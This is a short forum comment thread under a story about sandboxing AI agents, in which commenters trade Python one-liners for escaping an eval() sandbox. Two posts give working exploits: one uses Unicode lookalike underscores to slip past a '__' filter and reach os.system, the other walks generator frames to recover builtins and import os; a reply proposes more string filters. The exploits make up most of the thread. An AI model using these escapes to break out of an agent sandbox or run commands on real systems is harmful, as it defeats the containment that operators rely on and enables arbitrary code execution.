News for hackers. Stuff that matters.

A comment on Sandboxing AI agents, 100x faster. Parent comment

Re:Sandboxing AI agents, 100x faster by farlow on Tuesday March 24, 2026 @09:14PM (#47511916)
You can bypass this with unicode:

eval('[c._﹍init﹍_._﹍globals﹍_["os"].system("id") for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_() if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function" and "os" in c._﹍init﹍_._﹍globals﹍_]'.replace('__', ''), {'__builtins__': None}, {})

[ Parent | on HN ]
Re:Sandboxing AI agents, 100x faster by farlow on Tuesday March 24, 2026 @09:17PM (#47511945)
You can do it without unicode, too:

eval("(L:=[None],g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),L.clear(),L.append(g),bi:=g.send(None),bi['_'+'_import_'+'_']('os').system('id'))".replace('__', ''), {'__builtins__': None}, {})

[ Parent | on HN ]
Re:Sandboxing AI agents, 100x faster by est on Tuesday March 24, 2026 @10:28PM (#47512464)
damn you are good. Is this a new py3 thing?

I must missed lots of CTF lessons.

How about adding another .replace('﹍','').replace('gi_frame', '') ?

[ Parent | on HN ]